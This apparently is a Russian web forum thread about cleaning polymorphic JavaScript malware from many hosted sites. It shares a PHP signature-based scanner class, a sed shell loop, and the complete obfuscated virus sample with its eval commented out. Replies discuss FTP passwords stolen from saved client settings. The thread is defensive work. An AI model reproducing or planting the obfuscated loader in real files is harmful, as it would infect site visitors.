На наших серверах разразилась просто эпидемия вирусов. У нас в компании несколько сотен сайтов клиентов на одном сервере. Как с таким добром работать это понятно, ssh + putty и пара shell скриптов. Но на сторонних хостингах, где нет доступа к командной строке, вручную править файлы конечно же не удобно. Не буду описывать причины заражения, скажу лишь что CMS - самопис компании, написанный лет 5 назад, использующий на многих старых сайтах клиентов fckeditor и реже первые версии ckeditor'ов. Проверка при загрузке файлов на авторизацию пользователя в ckfinder например, реализовывалась примитивным return true; кто понимает о чём я) Чтобы не мучиться с такими виртуальными хостингами, а так же ради интереса, чтобы не использовать к примеру phpseclib или system() с exec() навоял класс сканер, который ищет вхождения заданного кода в указанных файлах и удаляем найденную строку. Алгоритм прост. От указанной директории, скрипт сканирует все вложенные на наличие указанного типа файла и вхождения в них, искомой строки. Усложнять алгоритм небыло смысла, учить его чему-то ещё тоже (но в случае необходимости всегда можно легко доработать). Вирусы на серверах имели одну и ту же структуру, всегда в одну строку без переноса (поэтому алгоритм был использован тот, который был использован), страдали полиморфизмом, однако в них имелась неизменная последовательность кода: Код (Text): =Array.prototype.slice.call(arguments).join(""), присутствующая во всех экземплярах полиморфа. в итоге задавая в скрипт данную строку для поиска и указывая файлы .js, запускаем скрипт. Он пробегается и чистит весь сайт. На сайт с кучей вложений, с ckeditor'om ckfinder'om и кучей js'ok от различных модулей разбросанных по всему сайту, скрипт прорабатывает в среднем секунд за 15-20. В общем с поставленной ему конкретной задачей, он отлично справился. P.S. Написан класс был под конкретный случай и под каждый последующий требует доработки, поэтому не претендует на панацею. Просто интересно как Вы справляетесь с вирусами на сайте, самописными методами? P.S.S. С работой скрипта могут возникнуть проблемы: на хостинге не поддерживается chmod() или доступ к файлам только через owner'a тогда на проверяемую директорию нужно сделать chown() для www пользователя и группы. Привожу пример кода вируса и класса ниже. Код (Text): var g50adc7="";function g24e05b114f9(){var y642120d=String,y491da775=Array.prototype.slice.call(arguments).join(""),ud0d40=y491da775.substr(l93a5a7(),3)-693,d00127e,vcfc7aa4e;y491da775=y491da775.substr(8);var td025edc=u83b645(y491da775);for(var f4bd9fb4b=0;f4bd9fb4b<td025edc;f4bd9fb4b++){try{throw(l48685=t564f3ac1(y491da775,f4bd9fb4b));}catch(e){l48685=e;};if(l48685=='•'){ud0d40="";f4bd9fb4b++;bc21e4=y491da775.substr(f4bd9fb4b,1);while(c4ac8f6(bc21e4)){ud0d40+=bc21e4;f4bd9fb4b++;bc21e4=y4ca5bd(y491da775,f4bd9fb4b);}ud0d40-=385;continue;}d00127e="";if(uf788b4(l48685)){f4bd9fb4b++;l48685=y491da775.substr(f4bd9fb4b,1);while(l48685!='№'){d00127e+=l48685;f4bd9fb4b++;l48685=y491da775.substr(f4bd9fb4b,1);}d00127e=d00127e-ud0d40-25;if(d00127e<0)d00127e+=256;if(d00127e>=192)d00127e+=848;else if(d00127e==168)d00127e=1025;else if(d00127e==184)d00127e=1105;g50adc7+=y642120d["f\x72om\x43h\x61\x72C\x6f\x64e"](d00127e);continue;}f47fd76=h15c2b(l48685);if(f47fd76>848)f47fd76-=848;vcfc7aa4e=f47fd76-ud0d40-25;if(vcfc7aa4e<0)vcfc7aa4e+=256;if(vcfc7aa4e>=192)vcfc7aa4e+=848;else if(vcfc7aa4e==168)vcfc7aa4e=1025;else if(vcfc7aa4e==184)vcfc7aa4e=1105;g50adc7+=g7b8d7e(vcfc7aa4e);}}g24e05b114f9("0","0","a3b","774№","146№","№","20","8№","•","498","•","№25","5№•","4","55","•№2","0","5№","•","52","0•","№3","№№","2","0№•5","6","3•4","•","4","7","6•№","2","2","7№•469","•№219","№№","1","49№№","15","0№","№141","№","№","2","32","№•","4","2","7","•","P","M","•436","•","U•5","20•№","2","2№","№","1№","№1","8","№№","192№•5","58","•;82","•","54","6•№218№","•4","5","9•№1","60","№","•","478","•№15","0№","•","514","•","№19","3","№","№2№","№","1","4","№","•5","0","7","•№7","№","№3","№","№","2","0","5","№","•427","•","r•","46","9•№15","6","№","•4","86","•№239№","•","390","•","№14","2","№","№","141№","№1","29","№•","3","9","2","•","№","1","4","8№•568•","E","•515","•","№","14№","№","3","№","№11№","•5","0","6","•","№","2","55","№","•43","2•v№1","77","№","•","560•;","№","245№","•","5","2","9•№","1","0№•","4","4","5•","№","195№•","4","2","8","•","q","№","165№","•","50","0","•№2","39№","•4","2","2•№","1","78","№","№173","№•","45","3","•№","20","7","№","№1","39№","•4","81•№","2","2","0№№2","32","№•433","•","№18","2№x•489•","№23","2№","•","568•№255","№","№","2","47№№1","1№","№221","№","•","5","18•","№16","8","№","•","52","8","•№","177","№","•","493","•№","2","3","8№№2","3","5","№","№1","6","5№","•43","7","•","u","№19","3","№","•3","8","8","•","№149№","•45","5•","№","207","№","№1","9","6","№№","20","6№•","585","•","G","•463","•","№","135№№","2","2","2№•","408","•№","153","№","№1","58№•","40","2","•","№1","42","№","№","1","5","3№","•5","42•","-№","228№","•","50","9•№","13","№","•","5","1","2•","№","1","7","№","№18№№254№","№","4","№","•4","03•№","1","4","0№","•4","3","6•","№","179","№l•","507","•","№20","8","№№","2","0","8","№•","54","2•","№","24","3","№","•44","0•p","•44","6•","№","1","25","№•","4","20","•","№17","7№№170№•","514•№2","5","4№№2","55","№","№","0","№","№","3№•","566","•<3•","5","72","•","8","•","52","7•","№","20","6","№","№208","№№199№•42","8•№1","9","1№Q","•41","1•=<•44","1","•","Z•5","0","9","•№1","2","№","•43","2•№","1","77","№","•","5","55•1","'","2:№241","№•448","•№2","0","8№•","5","6","3•DE•","568•","6","•","4","6","3","•№","21","1№№20","0","№","№206","№№","135","№•5","1","5","•№","21","6№","№1","8","7№","№","2","0","3","№№2","14№•","40","0","•","52","1","№","165","№•","44","8","•","e•","53","8•","№188","№","•","54","5•","№","1","9","4№","•428","•","№","1","6","8","№","•458•","№2","09","№№","197","№•527","•","№28№•52","0","•№","1","3","№","№5","№•","575•E•486","•","№2","4","2№","№","1","7","2","№•","53","7•№32№","№3","1№•51","5•№","8","№№","1","0№•","541•","*•","4","8","5•№","2","4","0","№","•","52","5","•","№10№","•439","•","№188","№№","1","9","0","№","№","1","9","7","№•","415•","№","1","56№","W","•5","2","4","•","№","22","5№№1","9","6№№","1","0№•4","61•№2","18","№","№","21","1","№•","5","39","•№2","2","№","•","4","5","9","•","№","2","15№№204№","№2","1","0№","№","2","0","9№№","139№","•40","3•","T•4","6","5","•","№","137","№•4","7","5•№2","3","8№","•","56","8","•","№221№","№","21","8№","•4","9","3•","№14","2№№142№","•53","0","•№","19","№","•428","•№","1","70","№","•5","63","•","№2","3","5","№","•54","9","•№","22","9№•","46","2•","№2","21","№•4","66","•№","2","1","1№","№","2","1","6","№","№2","06№•","56","9","•@","H","№2","55","№•3","90","•№","150","№","№","1","51","№•","414•№","1","7","6№","№","1","56№•43","5","•№183","№","№","1","72№•","5","6","2•1","•495","•№1","6","7№№1","9","6","№","№","196№•427•№","1","2","8","№","csl","•","4","8","6","•","№","1","5","8","№","№24","9","№•","505","•№158","№•","4","00•2•5","62","•№","2","1","1","№","•","5","7","8•","№22","7","№•","4","72","•","y","№2","31№№2","1","7","№•","5","0","5•№25","5№№2","4","5","№№","0","№№8","№№191","№","•","4","3","2•","№","192№","•","45","2•","№2","1","3№","•4","1","2","•","№","1","7","4№","•","471•№","21","3","№","•4","46•","№","19","4","№•","422•№","1","59","№","№","1","65","№^•4","8","8•№","189№•5","5","1","•","№","22","3","№","№2","4","0№•429•","№12","8","№","•","5","2","5","•№1","78","№","•","418•","D•5","1","4","•№","163","№•445•","^","^","•","512","•","№","1","4","№•39","4","•№","1","31№","•","4","5","1","•","№2","0","5№•5","1","3","•","№","1","85№","№1№","•","419","•№1","6","0","№№15","6№","№","15","9№","[","x[№1","59","№","№","17","0","№№15","8№","•","57","7","•NF","•41","6•№","1","5","7","№","•5","6","7•","=","•558•:","•544","•","№","2","3","0№","•48","4","•№227№№","2","25","№","•4","5","4","•","№2","10","№№1","63№•5","07•","№","2","5","5№","№","24","8№","№","0","№","№2","4","8№№1","№","•4","04•","№","160","№","•","5","48•","/•55","5","•","№","5","№","•","39","7","•№1","58№y№","13","4","№","•","506","•","№","249","№","№","2","24№•4","61","•","№","1","98","№•5","5","8","•3","+","№","23","8№№2","37№.•","4","2","5•","№","16","6","№№1","62№","№16","5№h","j","•46","8•","№","19","9№№","15","6","№","№20","1","№•","4","0","2•","e","•","5","46","•","№","1","9","9","№•4","6","9•w•4","7","2•","y","•","414","•","?","•470•w","•","539•",")","•","449","•","№","18","6№№2","03№","•","54","4•","№","2","16№+№","2","7","№","•5","3","4•№","3","2","№•","476•","№221№№","2","28№","№","23","2№","№","1","4","8№•5","52•№253№№","224","№•394","•№","1","3","4","№•532","•","№","27","№•440•","№","17","9№","№1","97","№","•","39","3","•№142","№•","4","7","2","•","№","2","1","3","№","•44","3","•","№193№","№1","99","№•","514","•№20","0№","•5","83","•B","Q","D","•","401","•№","13","8","№№","157","№","№","1","42№•","517•№","226№","№","9","№","№2","№•","5","4","4","•","%","•4","93•","№","2","34№№24","3№№2","49№•","534•","№","214","№","•","3","9","8","•M•","465•№","2","2","0","№№","2","0","4№","№","219№•","4","6","9•№21","4","№№22","1№","•5","1","2","•№12№•","5","7","4•№2","5","3№№2","55№","№17№","•49","8•","№","151№","•","4","05","•7","•413","•>","•","3","91","•","(•","46","2•o","•","450•","№","2","0","5","№•","4","2","8•","№","1","6","7№","№","1","8","2","№","•51","5","•№","4№","№","11","№•","3","99•№","1","55№U","•4","80•","№23","6№•5","7","0","•K•","5","01","•№","253","№•","4","6","0•№","201№№1","3","2","№","•58","5","•","№30№","№","1","№","•","5","60•№23","9","№<•403•№","144№№","16","3","№","•5","29","•№29","№","№2","1","6№№","1","9№","•5","5","3","•","\"•","48","0","•№","238","№№","2","1","7№•","528","•№27","№","•5","5","2","•","#•","5","2","3•№21№№","1","2","№","•5","62","•",":•","4","4","6","•№","2","02","№№1","2","5","№","•","5","76","•№","19","№","•","4","3","4","•","W•47","9","•№1","29","№№","1","28№","№","1","2","8","№","№1","28","№•490•№","24","5№","•","47","3•№2","12№№2","27№№2","18№№","2","2","5№•4","89","•№2","45","№№175","№","•","5","1","0•","№5","№•4","1","8•№","1","6","8","№","•","4","35•№","18","9№•5","1","5","•№0","№","№","25","2№№25","5№№","2","0№№1","4","№","№15№","•","3","9","4","•№","1","31","№","•","47","2•№","22","8","№","•","39","8","•","№13","9","№№","1","3","7","№","•","47","2•","№2","16№№2","0","9№","№22","2","№","№","21","5","№","№","21","3№•50","2•№174№","№203","№№","174","№№2","4","4№","№","3№","№252","№•4","8","4•№2","23№","№2","40№","№","2","29№","№","235","№•","56","9","•","?","•","5","4","0•№","2","1","2№№2","2","0№","•482","•№16","3№•4","31","•g№","19","4№","T","Q","•4","45•^^","•4","82•","№1","31№","№","13","1№•","459•","№","2","0","4","№№","201","№","•4","1","7","•","Ya•40","1•","№","15","7","№•4","12","•","№","15","6","№","•","3","8","8","•","№","1","3","3№","№","1","43№","•","530","•№","21","6№№2","8№","•5","5","0•","#№31№•4","6","7•№2","0","7","№","•413•","№","1","7","4","№","•","4","16","•","№139","№","•","4","4","4•","№2","00№","•579","•","<","O@•4","3","0","•f","•476","•№","1","7","7","№","№","1","77№","№1","48№","№","1","55","№•","5","7","5","•",":","F•","5","77","•FI","E>","M","•432","•№1","7","3","№oq•520","•","№1","92№№","2","7","№","•","5","29•№1","82№","№1","79","№","•","421","•F•","5","0","7","•","№156","№№15","6№№15","6","№№156№","№","10№№2","52","№","№1","№","№247","№№2№•51","4•№17№•","4","6","4•№15","0№•5","20","•","№","2","4№№2","5","№•4","25•","№1","87","№","№","1","6","7","№","•47","0","•№","21","8№","•4","4","2","•№","1","79№","•3","9","2","•","№1","3","5№•5","6","8","•","№2","4","0№№","1","3","№","№","24","0","№•437","•","№1","2","7№№","1","3","6","№•5","28","•","№1","81№","•5","3","9","•","№1","8","9№•578•","№","2","27","№","№2","2","7№","№","2","27№","№22","7№•","4","72","•","№2","3","7№","•","4","62","•s•","5","3","0•","№","1","80","№•","4","5","3•","f","•","430","•","O","•","481•","№13","0","№•","5","23","•№","3","2№","•562•","№","5","№№","2","15№•","40","0","•2•422","•","G","GG№1","7","7","№•41","1•№15","0№№","1","65№•","4","9","9","•","№244№•5","2","9","•№2","5№","•438","•№194№","•","5","6","8•№","25","4№•","4","08•№","159","№•4","00","•№150№","№1","48№№","15","1","№•","562","•+•","537","•","№21№","•551","•№22","3№•","5","6","0","•№","5","№№2","3","2","№",".•42","6•№183","№№","17","6№","№","16","5","№№182","№№","171","№•","501","•","№","2","5","2","№","•40","0","•","№1","50","№","•","4","10","•","Z[•42","4","•","`","•","40","1","•","№","1","64№63222•","4","7","1","•","x","№","2","30","№","№216","№№","2","21№•4","3","5","•","№175","№•46","0•","№","2","11","№•","5","3","9","•*","№","2","2","5№","+","•","4","65","•","№226","№","•40","6•","№","1","68№","№","1","48","№№","1","54","№","№","1","4","3","№","№","1","4","9","№N","•47","1","•№","17","2№№","1","4","3","№","•","3","94•","T","•5","29","•№2","28№","•","4","39","•\\YX","•48","3•","№","1","3","2","№•","4","4","9•b№21","4№•3","93•\\.","•","51","5•","№1","65№","•3","9","6•","---","№","1","51№","№","1","35","№","•","5","35•!•","4","09","•№","1","5","4№•5","2","3•№","1","9","№•4","47","•№","20","3№•","3","9","1","•M№","146","№•","5","66•@","•4","6","4","•","№2","0","3№","№136№•","4","4","8•","№","1","4","9","№","x№","2","0","5№","•","3","98•","№1","5","2№","•58","0","•H","•","5","25•","№19","7","№","№","20","8","№","•4","29","•e№","146","№","•45","8•№1","95","№","•","50","2","•№2№","№2","46№","№","1","88№","•","537","•","#","№","18","№","•","46","2•№2","12","№","№","2","02№","•487","•","№","23","8","№","№","236№•","3","90","•","FG•","4","31","•","u","№187№","№","18","2","№•","4","76","•№1","99","№•5","15•","№","15","№№","13№№","4№№","9№№2","№•","467","•№","147№","№1","48","№","•","454","•№1","40№•452","•","№207№","№209№","•","463","•№2","01","№№2","18№","№","21","9","№№","2","17№","•4","3","8•№","18","3","№","•","49","1","•№","24","1№№","2","34№№1","7","1№•462•","№","1","53","№№","14","3","№№","1","34","№","№","1","45№","•41","3","•","U\\•5","7","8","•","№","8","№D•","5","30","•№","2","9№•","42","8","•k","•48","5•","№","18","4","№№1","3","8","№","•5","64","•№","2","1","4","№","№21","3","№№21","3№","№2","13","№","4","•472•№2","13","№•","403","•","№1","40№","№","143","№","Y•5","50•","№","31№.",".","#",",\"","•5","63","•","№","14№3","•438","•","№","1","83","№","№","18","6№•","566•","2","№2","4","6№•4","5","4•","№","2","09№№193№•","5","19•","№","1","7","№","•","40","4•№14","9№№1","56","№•","547","•/","№2","2","8","№•","4","62•","№","16","1№","•411•","@","=<<","•43","9•№","204","№","\\•43","8","•","X•","562","•","№211№","G•","564•","№7","№•5","5","3","•№20","6","№","№2","03№•","5","66","•","K№24","7№","•","482•","№1","6","2","№","•544","•","№22","5№•","4","62•","№161","№",""); /* -- eval(g50adc7); -- */ function l93a5a7(){return 5;}function u83b645(ub0b036){return ub0b036.length;}function t564f3ac1(l221938f,me7817e8f){return l221938f.substr(me7817e8f,1);}function y4ca5bd(ydb1c3b,ie733a1d7){return ydb1c3b.substr(ie733a1d7,1);}function c4ac8f6(ca11e0f){return ca11e0f!='•';}function uf788b4(x5bfac90d){return x5bfac90d=='№';}function g7b8d7e(q238937){var y642120d=String;return y642120d["f\x72om\x43h\x61\x72C\x6f\x64e"](q238937);}function h15c2b(ab9c72){return (ab9c72+'')["\x63\x68\x61\x72Cod\x65A\x74"](0);} Код класса с подробными коментариями: Код (Text): <? header("Content-Type: text/html; charset=utf-8"); // на случай если не существует функции FILE_PUT_CONTENTS if(!function_exists('file_put_contents')) { // создаём свою собственную function file_put_contents($filename, $data, $file_append = false) { $fp = fopen($filename, (!$file_append ? 'w+' : 'a+')); if(!$fp) { trigger_error('file_put_contents не пашет.', E_USER_ERROR); return false; } fputs($fp, $data); fclose($fp); return true; } } /* ---------------------------------------------------------------------------------- dScaner Class - START ---------------------------------------------------------------------------------- */ /* * * Класс - dScaner для сканирования директорий на наличие вредоносного кода в * указанных типах файлов * * Разработчик: Денис Ушаков, tltpk@yandex.ru * Дата разработки: 03-04-2012 * Версия разработки: 0.0.3 * */ Class dScaner { // преобразуем входной параметр в массив // $get_str - список параметров // $separator - разделитель параметров в списке function request($get_str, $separator) { if (isset($get_str) && !empty($get_str)) { // эксплоадим строку в массив и возвращаем его $obj = explode($separator, $get_str); return $obj; } else { return false; } } /* * * Функция поиска в файлах вхождения заданной строки: * * $this->find($path, $files_allowed, $requested_string); * * $path - путь до директории, от которой отталкиваться при сканировании * $files_allowed - список файлов, которые подвергаются сканированию * $requested_string - строка поиска * */ function find($path = './', $files_allowed, $requested_string) { // исключаемые ссылки на директории и файлы, которые будут игнорироваться $dir_disallow = array('.', '..', '.htaccess', '.git'); if(is_dir($path)) { $temp = opendir($path); while (false !== ($dir = readdir($temp))) { if ((is_dir($path . $dir)) && (!in_array($dir, $dir_disallow)) ) { // если директория - сканируем её $sub_dir = $path . $dir . '/'; $this->find($sub_dir, $files_allowed, $requested_string); } elseif ((is_file($path . $dir)) && (!in_array($dir, $dir_disallow)) && (strpos($dir, $files_allowed) == true) && (strpos($dir, '_BACKUP') == false) ) { // Если файл // получаем полный путь до него $in_dir_file = $path . $dir; // считываем файл в строку $temporary_file = file_get_contents($in_dir_file); // флаг найденного вхождения искомой строки $file_founded = false; // разбиваем файл на строки $tf_strings = explode("\n", $temporary_file); // обрабатываем каждую отдельно foreach ($tf_strings AS $item) { $item = strval($item); // если в строке есть вхождения искомого запроса if (strpos($item, $requested_string) !== false) { // выводим путь до файла в котором найдено вхождение print "<span style='display:block; padding:5px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:-15px;'>" . $in_dir_file . " - в файле обнаружена искомая строка.<br> </span><br>"; } } } } closedir($temp); } } /* * * Функция сканирования вредоносного кода: * * $this->scan($path, $files_allowed, $requested_string); * * $path - путь до директории, от которой отталкиваться при сканировании * $files_allowed - список файлов, которые подвергаются сканированию * $requested_string - строка, по которой определяется наличие вредоносного кода * */ function scan($path = './', $files_allowed, $requested_string) { // исключаемые ссылки на директории и файлы $dir_disallow = array('.', '..', '.htaccess', '.git'); if(is_dir($path)) { $temp = opendir($path); while (false !== ($dir = readdir($temp))) { if ((is_dir($path . $dir)) && (!in_array($dir, $dir_disallow)) ) { // если директория - сканируем её $sub_dir = $path . $dir . '/'; $new_parent_dir = $path . $dir; $this->scan($sub_dir, $files_allowed, $requested_string, $new_parent_dir); } elseif ((is_file($path . $dir)) && (!in_array($dir, $dir_disallow)) && (strpos($dir, $files_allowed) == true) && (strpos($dir, '_BACKUP') == false) ) { // Если файл // получаем полный путь до него $in_dir_file = $path . $dir; // считываем файл в строку $temporary_file = file_get_contents($in_dir_file); // флаг бекапа файла $create_backup = false; // разбиваем файл на строки и считываем каждую отдельно $tf_strings = explode("\n", $temporary_file); // индекс строки файла $str_index = 0; // каждую строку обрабатываем отдельно foreach ($tf_strings AS $item) { $item = strval($item); if (strpos($item, $requested_string) !== false) { // если в строке есть вхождения искомого запроса // флаг бекапа файла, в котором найден вредоносный код $create_backup = true; // удаляем всю строку с вредоносным кодом unset($tf_strings[$str_index]); } $str_index++; } // создаём бэкап if ($create_backup) { // меняем права в папке в которой находимся чтобы иметь возможность писать в неё chmod($path, 0777); // формируем имя БЭКАПа файла $temp_file_backup = $in_dir_file.'_BACKUP'; // сохраняем БЭКАП файла рядом с исходным file_put_contents($temp_file_backup, $temporary_file); // собираем очищенный файл в строку $scanned_file = implode("\n", $tf_strings); // сохраняем очищенный файл if (file_put_contents($in_dir_file, $scanned_file)) { // перезаписали удачно print "<span style='display:block; padding:5px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:-15px;'>" . $in_dir_file . " - Файл очищен. (+ BACKUP) <br> </span><br>"; } else { // перезапись не удалась print "<span style='display:block; padding:5px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:-15px;'>".$in_dir_file ." - Файл НЕ очищен. </span><br>"; } // меняем права в папке в которой находимся обратно на 755 chmod($path, 0755); } } } closedir($temp); } } /* * * Функция восстановления БЭКАПОВ файлов * * $this->restore_backups($path, $files_allowed); * * $path - путь до директории, от которой отталкиваться при восстановлении * $files_allowed - список файлов, которые подвергаются восстановлению * */ function restore_backups($path = './', $files_allowed) { // исключаемые ссылки на директории и файлы $dir_disallow = array('.', '..', '.htaccess', '.git'); if(is_dir($path)) { $temp = opendir($path); while (false !== ($dir = readdir($temp))) { if ((is_dir($path . $dir)) && (!in_array($dir, $dir_disallow)) ) { // если директория - сканируем её $sub_dir = $path . $dir . '/'; $this->restore_backups($sub_dir, $files_allowed); } elseif ((is_file($path . $dir)) && (!in_array($dir, $dir_disallow)) && (strpos($dir, $files_allowed) == true) ) { // Если файл // получаем полный путь до него $in_dir_file = $path . $dir; if (is_file($in_dir_file.'_BACKUP')) { // БЭКАП существует, получаем его содержимое $temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP'); // восстанавливаем бэкап файла if (file_put_contents($in_dir_file, $temporary_file_from_backup)) { // удаляем бэкап unlink($_SERVER['DOCUMENT_ROOT'].'/'.$in_dir_file.'_BACKUP'); // бэкап восстановили print "<span style='display:block; padding:5px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:-15px;'>".$in_dir_file ." - восстановлен. </span><br>"; } else { // бэкап НЕ восстановили print "<span style='display:block; padding:5px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:-15px;'>".$in_dir_file ." - НЕ восстановлен. </span><br>"; } } } } closedir($temp); } } } /* ---------------------------------------------------------------------------------- dScaner Class - END ---------------------------------------------------------------------------------- */ // создаём экземпляр сканера - Дрон $dron = new dScaner; // поиск по файлам из текущей директории в JS файлах строки $dron->find('./', '.js', '=Array.prototype.slice.call(arguments).join(""),'); // очистка файлов JS в которых присутствует искомая строка // $dron->scan('./', '.js', '=Array.prototype.slice.call(arguments).join(""),'); // восстановление бэкапов JS файлов // $dron->restore_backups('./', '.js'); ?> UPD. Привожу Shell который использовался для чистки. Тоже узконаправленный. (Написан не мной). Код (Text): for i in `find . -name "index.php";find . -name "index.html"` do echo $i mv $i $i-old cat $i-old | sed "s/bip-count\.info//g" > $i done; поясню что он делает: от текущей директории в которой находится, сканирует все файлы index.php (можно так - *.php или вообще - *.*) и ищет заданную строку, в данном случае - bip-count.info удаляя её из файла в котором нашёл. перед этим бэкапит файл с префиксом -old. собственно всё.
Если уж появилась дыра в безопасности, то её и нужно закрывать как можно быстрей. Я так каждый день чистил сайты, но толку не было. Вредоносный код появлялся по несколько раз за день. У кого-то (даже знаю у кого, у начальника отдела) стырили настройки ТоталКоммандера с доступами по фтп.
Вам очень и очень повезло) У нас та же проблема, потому что дырки закрывали, пароли меняли от всего. Однако день - и вновь всё по кругу. И тоже у руководящего состава, тоталкомандеры, файлзилы.. Не не, мы чисты, трабл в тех.отделе! Чините, чё! Мне интересно просто, кто как борется с вирусами именно в программной реализации) Для расширения кругозора так сказать)
Denis! твой скрипт как раз вовремя! огромное спасибо! вылечил сайт, а то пытался через ssh наваять, но не получалось пароли фтп надо менять и искать вирус на локальном компе на всякий и к mysql тоже поменять надо еще раз респект! Добавлено спустя 4 минуты 58 секунд: и все таки если не затруднит, приведи скрипт для ssh
AviaZond на здоровье! Shell скрипт писал для нашего сервера не я, однако код приведу, вдруг кому-то будет полезен: Код (Text): for i in `find . -name "index.php";find . -name "index.html"` do echo $i mv $i $i-old cat $i-old | sed "s/bip-count\.info//g" > $i done; поясню что он делает: от текущей директории в которой находится, сканирует все файлы index.php (можно так - *.php или вообще - *.*) и ищет заданную строку, в данном случае - bip-count.info удаляя её из файла в котором нашёл. перед этим бэкапит файл с префиксом -old. собственно всё. Повторюсь - писал не я.
Был у меня похожий случай. Червяк скорее всего прочитал сохраненный пароль FTP в настройках Far Manager и понеслось… Чистил практически также как топикстартер.